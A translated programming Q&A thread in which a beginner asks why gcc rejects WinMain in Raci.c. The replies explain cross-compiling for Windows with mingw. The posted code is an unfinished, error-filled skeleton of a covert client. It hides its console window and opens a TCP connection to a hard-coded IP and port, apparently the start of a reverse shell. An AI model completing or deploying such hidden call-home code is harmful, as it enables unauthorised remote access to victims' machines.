當我想Raci.c通過執行編譯檔案時gcc Raci.c,出現以下錯誤:
Raci.c:32:14: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WinMain’ 32 | int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE, hPrev, LPSTR lpCmdLine, int nCmdShow) {
我一直試圖找到解決方案很長時間,但我找不到。
提前致謝,如果這是一個“愚蠢的”錯誤,我很抱歉,我已經自己學習了很短的時間。
我附上以下內容Raci.c:
│ File: Raci.c
#include<stdio.h> // Libreria estandar para valores entrada/salida
#include<stdlib.h> // Define 4 variables, macros y otras funciones generales
#include<unistd.h> // Proporciones acceso a la API de POSIX (Operating System Interface). Estander IEEE que permite compatibilidad entre diferente S.O.
#ifdef _WIN32
#include<winsock2.h> // Nos permite establecer conexiones con el servidor
#include<windows.h> // Definimos que trabajaremos con Windows y nos aporta compatibilidad con ciertas funciones
#include<winuser.h> // Permite diferentes funciones Windows Based
#include<wininet.h> // Permite conexiones inet (detallar)
#include<windowsx.h> // Mas compatibilidad Windows
#endif
#include<string.h> // Permite manipular arrays de characteres comodamente (strings(
#include<sys/stat.h> // Libreria C POSIX que contiene construcciones que facilitan obtención de información sobre atributos de archivos
#include<sys/types.h> // Diferentes variables y estructuras...
/*
Función main/prinicpal donde estableceremos conexión con el servidor y especificaremos el resto de funciones.
APIENTRY => Alias de WINAPI (Explicamos al compilador como manejar el stack y argumentos al llamar la función)
PARAMETERS :
HINSTANCE hInstance => Identificador de instancia / modulo. El S.O. utiliza este valor para identificar el EXE cuando es cargador en memoria.
HINSTANCE hPrev => Identificador de instancia previo
LPSTR lpCmdLine => Contiene la linea de comandos en un String Unicode (Nos da la shell utilizando un charset en casi todos los idiomas (UNICODE))
int nCmdShow => Indicador de tama?o de ventana CMD (peque?a, grande, invisible ...)
*/
// Inicialización de variables que deben ser aplicadas en otras funciones
int sock;
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) {
// Inicializaciones de consola
HWND stealth; // Identificador de ventana parte de Win32 API
AllocateConsole(); // Inicializa nueva consola permitiendo entrada / salida y control de errores de esta misma.
stealth = FindWindowA("ConsoleWindowClass", NULL); // Función para encontrar la ventana con ClassName "ConsoleWindowClass" sin especificar titulo. Busca la ventana / proceso
ShowWindow(stealth,0); // Inicializamos la consola sin mostrarla
struct sockaddr_in ServAddr; // Definición multiple de variables sockaddr_in y ServAddr
unsigned short ServPort; // Inicializamos variable unsigned (solo valores positivos) de tipo integer short
char *ServIP; // Inicializamos el pointer *ServIP
WSDATA wsaData; // Estructura que contiene información relacionada con sockets de Windows (Define como el software de aplicación accede a servidores de red especialmente TCP/IP)
ServIP = "192.168.1.133"; // Indicamos la IP del servidor que esperará conexión (localhost)
ServPort = "50005"; // Puerto por el que escucharemos / esperaremos conexión
// Tratamos de inicializar Winsock DLL para el proceso de la aplicación. Si = 0 OK | Si != 0 WRONG
if(WSAStartup(MAKEWORD(2,0), &wsaData) != 0) {
exit(1);
}
sock = socket(AF_INET, SOCK_STREAM,0); // AF_INET => Indicamos que estableceremos conexión sobre IPv4
// SOCK_STREAM => Indicamos que trabajaremos sobre el protocolo TCP
memset(&ServAddr, 0, sizeof(ServAddr)); // Limpiamos los bytes a 0 todo el contenido
Serv.Addr.sin_family = AF_INET; // Especificamos que es IPv4
Serv.Addr.sin_addr.s_addr = inet_addr(ServIP); // Formateamos a IPv4 la IP introducida en ServIP
Serv.Addr/sin_port = htons(ServPort); // Especificamos y formateamos el puerto introducido
// IP:PUERTO
connect(sock, (struct))
} // Main function end
uj5u.com熱心網友回復:
APIENTRY 未在您的程式包含的任何頭檔案中定義。
對于使用 Windows API 的程式,您應該_WIN32在編譯器命令列上進行定義,以便它包含定義所有這些符號和型別的作業系統特定頭檔案...
嘗試: gcc -D_WIN32 Raci.c -o Raci.o
正如David Grayson所評論的,您的編譯器可能沒有正確安裝以編譯 Windows 程式。
uj5u.com熱心網友回復:
如果這為某人解決了相同的錯誤,我會回答我的問題。
當想要Raci.c通過執行 a來編譯 C檔案時,gcc Raci.c會發生錯誤:
Raci.c:32:14: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WinMain’ 32 | int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) {
這是因為gcc編譯器將基于 Linux 的系統作為“目標/目標”,并且當想要使用“目標/目標”編譯頭檔案/頭檔案時,基于 Windows 的系統會跳過上述錯誤。
摘自表示來自 gcc 的目標的行:
gcc -v : Target: x86_64-linux-gnu
解決方案
使用該mingw32包,我們可以編譯頭檔案并將其鏈接到 Linux 系統上的 Windows。
- 安裝 mingw32 =>
apt install mingw-64 - 編譯/使用 x64 位的示例 =>
x86_64-w64-mingw32-g [file.c] - 編譯/使用 32 位的示例 =>
i686-w64-mingw32-g [file.c]
轉載請註明出處,本文鏈接:https://www.uj5u.com/ruanti/402864.html
標籤:
